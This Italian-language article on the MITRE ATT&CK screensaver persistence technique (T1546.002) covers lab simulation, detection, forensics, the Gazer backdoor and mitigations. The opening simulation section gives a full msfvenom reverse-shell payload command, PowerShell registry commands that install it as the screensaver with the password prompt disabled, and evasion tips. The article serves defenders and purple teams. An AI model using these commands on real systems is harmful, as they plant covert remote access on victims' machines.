Persistenza via Screensaver: Event Triggered Execution - Screensaver (T1546.002)

In un laboratorio controllato la simulazione di T1546.002 richiede pochi passaggi ma va calibrata con attenzione, perché il trigger dipende dall'inattività reale della sessione interattiva. Il payload deve essere un PE valido rinominato con estensione .scr: qualsiasi binario Windows funziona, dato che user32.dll non impone controlli sul formato interno oltre alla capacità di essere caricato come processo.

Per generare un payload di test si può usare msfvenom (open source, incluso in Metasploit Framework) con una sintassi del tipo:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.scr

Oppure, per un approccio più stealth in red team, compilare un loader custom in C# o Nim che carichi lo shellcode in memoria. Strumenti come Donut (open source) o Sliver (open source) permettono di produrre artefatti meno signaturati rispetto agli stub Metasploit.

La scrittura delle chiavi di registro avviene interamente in user context. Da PowerShell:

Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name SCRNSAVE.EXE -Value 'C:\Users\Public\payload.scr' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaveActive -Value '1' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaveTimeout -Value '60' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaverIsSecure -Value '0'

Un timeout di 60 secondi è utile in lab; in scenari realistici valori tra 300 e 900 secondi risultano meno sospetti perché coerenti con policy aziendali. Impostare ScreenSaverIsSecure a zero evita che al risveglio venga richiesta la password, riducendo l'attrito osservabile dalla vittima.

Per forzare il trigger senza attendere è possibile invocare direttamente il binario tramite rundll32.exe user32.dll,LockWorkStation combinato con simulazione di idle, oppure eseguire il file .scr passando il flag /s che avvia la modalità screensaver reale.

In ambito Atomic Red Team (open source) esiste il test T1546.002 che automatizza l'intera catena e rappresenta il punto di partenza ideale per un purple team exercise. La validazione include: verifica che il payload venga eseguito nel contesto utente, che il parent process sia user32.dll o winlogon.exe, e che la rimozione delle chiavi ripristini lo stato originale. Documentare sempre gli hash del payload e le chiavi modificate per il cleanup post-esercizio.

La detection efficace di T1546.002 si costruisce correlando due segnali complementari: la modifica delle chiavi di registro sotto HKCU\Control Panel\Desktop e l'esecuzione anomala di file .scr. Nessuno dei due indicatori è di per sé sufficiente, perché entrambi possono derivare da attività legittima (installazione di temi, group policy, applicazioni di terze parti), ma la loro combinazione temporale ravvicinata è un forte segnale di compromissione.

La detection DET0154 suggerisce di monitorare le scritture al valore SCRNSAVE.exe correlate con path PE non coerenti con i salvaschermo legittimi (C:\Windows\System32*.scr e C:\Windows\SysWOW64*.scr). Le fonti primarie sono Sysmon Event ID 13 (RegistryValueSet) per la modifica e Sysmon Event ID 1 (ProcessCreate) per l'esecuzione, integrati con Windows Security EventCode 4657 se l'audit del registro è abilitato tramite SACL.

Una query di partenza in KQL o pseudo-SPL può filtrare gli eventi 13 dove TargetObject contiene Control Panel\Desktop\SCRNSAVE e il processo che scrive non è explorer.exe, rundll32.exe nel contesto pannello di controllo, o strumenti MDM autorizzati. Un pattern altamente sospetto è la scrittura da powershell.exe, cmd.exe, reg.exe, wscript.exe o processi non firmati.

Sul fronte esecuzione, ogni processo con estensione .scr il cui ParentImage non è winlogon.exe o user32.dll merita triage. Path anomali come %APPDATA%, %TEMP%, *C:\Users\Public* o directory scrivibili dall'utente devono generare alert immediato. Anche la firma digitale del .scr aiuta: i salvaschermo Microsoft sono firmati, uno .scr non firmato è raro.

Controlli preventivi utili includono AppLocker o Windows Defender Application Control (entrambi inclusi in Windows, licenza dipendente da edizione) con regole che blocchino l'esecuzione di .scr al di fuori di System32 e SysWOW64. Group Policy consente di forzare ScreenSaverIsSecure a 1 e di controllare centralmente il valore di SCRNSAVE.exe, riducendo la superficie manipolabile.

Sui falsi positivi attenzione a: pacchetti di temi Windows scaricati dallo Store, software di gestione flotta che imposta policy di screen lock, tool di accessibilità che modificano il timeout. Il tuning suggerito dalla detection prevede l'allowlisting di parent process legittimi, la definizione di regex per path attesi e l'aggiustamento della finestra temporale che lega modifica registro ed esecuzione (tipicamente 30-300 secondi tra scrittura e trigger). Un playbook maturo integra anche la verifica di connessioni di rete uscenti dal processo .scr, che nel legittimo dovrebbero essere nulle.

L'analisi forense di un caso T1546.002 ruota attorno a tre categorie di artefatti: chiavi di registro, file system e tracce di esecuzione. La ricostruzione della timeline richiede di correlare i timestamp di modifica del registro con la prima esecuzione del PE malevolo e con le successive attività nel contesto utente.

Il registro utente risiede in NTUSER.DAT nel profilo dell'utente compromesso. Estraendolo con FTK Imager (gratuito) o KAPE (gratuito per uso non commerciale) e parsandolo con Registry Explorer (gratuito, di Eric Zimmerman) o RegRipper (open source) si accede alla chiave Control Panel\Desktop. Il timestamp LastWriteTime della chiave indica quando è avvenuta l'ultima modifica ai valori, dato cruciale per la timeline. I valori da estrarre e documentare sono SCRNSAVE.exe (path del binario), ScreenSaveActive, ScreenSaverIsSecure e ScreenSaveTimeout.

Un valore SCRNSAVE.exe che punta fuori da System32 o SysWOW64 è di per sé un IOC forte. Il file referenziato va acquisito, hashato (SHA256) e sottoposto a triage con PE-bear (open source) o CFF Explorer (gratuito) per esaminare import table, sezioni sospette e presenza di packer. Il calcolo dei tempi MACB del file .scr tramite parsing dell'MFT (con MFTECmd, gratuito) permette di stabilire quando è stato deposto sul disco e correlarlo con la modifica del registro.

Le tracce di esecuzione sono altrettanto preziose. Prefetch (*C:\Windows\Prefetch*) contiene file NOMEBINARIO-HASH.pf che testimoniano l'avvio: l'analisi con PECmd (gratuito) rivela run count, timestamp delle ultime otto esecuzioni e DLL caricate. Amcache.hve e ShimCache (parsabili con AmcacheParser e AppCompatCacheParser, entrambi gratuiti) forniscono conferma indipendente dell'esecuzione anche quando Prefetch è disabilitato, come tipicamente accade sui server.

Sul fronte log, gli eventi Sysmon 1, 11, 13 offrono la ricostruzione più granulare se lo strumento era installato al momento dell'incidente. In assenza di Sysmon, Security 4688 (con command line auditing attivo) documenta lo spawn del processo .scr e il suo parent, generalmente winlogon.exe nel caso legittimo.

La timeline consolidata, costruita con plaso/log2timeline (open source) e visualizzata in Timeline Explorer (gratuito), dovrebbe evidenziare la sequenza: deposito del PE malevolo, modifica delle chiavi HKCU, prima esecuzione al trigger di inattività, eventuale attività di rete e movimento laterale successivo. Nel caso Gazer (S0168) documentato, il pattern osservato includeva persistenza multi-livello, quindi va sempre verificata la presenza di altri anchor concorrenti.

Il panorama di adozione di T1546.002 è storicamente limitato ma significativo per il profilo degli attori che l'hanno impiegata. L'unico software documentato nel dataset MITRE ATT&CK che sfrutta questa tecnica è Gazer (S0168), un backdoor sofisticato attribuito a operazioni di cyberespionage di lungo corso e caratterizzato da meccanismi di persistenza multipli, comunicazione C2 modulare e capacità anti-analisi avanzate. Gazer configura il salvaschermo del sistema per invocare il proprio eseguibile, integrando questa tecnica in una catena di persistenza ridondante che include tipicamente anche altre chiavi di autorun.

La scarsità di gruppi APT che adottano esplicitamente questa tecnica non deve essere letta come indice di irrilevanza, ma come segnale di selettività operativa. Il vettore è preferito da attori che privilegiano la stealth di lungo periodo rispetto alla velocità: l'esecuzione ritardata al trigger di inattività riduce la probabilità che l'utente noti anomalie, mentre l'assenza di modifiche a chiavi di autorun più sorvegliate (Run, RunOnce, Winlogon\Shell) abbassa il rumore verso i tool di baseline. Questo profilo è tipico di operazioni di spionaggio contro target governativi, diplomatici e di difesa, dove la permanenza silenziosa sul target ha valore superiore all'immediatezza dell'azione.

Dal punto di vista del tool overlap, la tecnica si integra bene con framework post-exploitation modulari perché richiede solo la scrittura in HKCU — quindi nessun privilegio elevato — e produce un artefatto che sopravvive ai riavvii senza necessità di servizi o task pianificati. Attori che utilizzano loader in-memory possono combinare T1546.002 con T1055 (Process Injection) per far sì che lo .scr sia un semplice trampolino che carica il payload reale in un processo target.

Il trend osservabile mostra una progressiva marginalizzazione della tecnica in favore di meccanismi più moderni come WMI Event Subscription (T1546.003) e Scheduled Task (T1053.005), che offrono maggior flessibilità nei trigger. Tuttavia, in ambienti Windows legacy, in reti industriali con endpoint non aggiornati e in scenari dove l'attaccante vuole minimizzare l'uso di API sospette, lo screensaver rimane un'opzione tatticamente valida.

Dal punto di vista difensivo strategico, il CISO deve considerare che le due mitigazioni chiave — M1038 Execution Prevention con blocco dei .scr fuori dai path canonici, e M1042 Disable or Remove Feature or Program con disabilitazione via GPO dei salvaschermo — hanno costo implementativo minimo e impatto operativo trascurabile nella maggior parte degli ambienti enterprise moderni, dove i salvaschermo personalizzati non hanno valore di business. La priorità di remediation è quindi alta rispetto al rapporto costo/beneficio.

MITRE ATT&CK: tecnica T1546.002, tattiche TA0003 e TA0004, software S0168 (Gazer), mitigazioni M1038 e M1042, detection DET0154 con analytic AN0441. MITRE D3FEND per mapping difensivi su registry modification detection e process execution analysis. Contenuti operativi su tool (Sysmon, KAPE, Registry Explorer, PECmd, Atomic Red Team, msfvenom, AppLocker, WDAC) integrati con conoscenza professionale di cybersecurity verificata su documentazione ufficiale dei rispettivi progetti.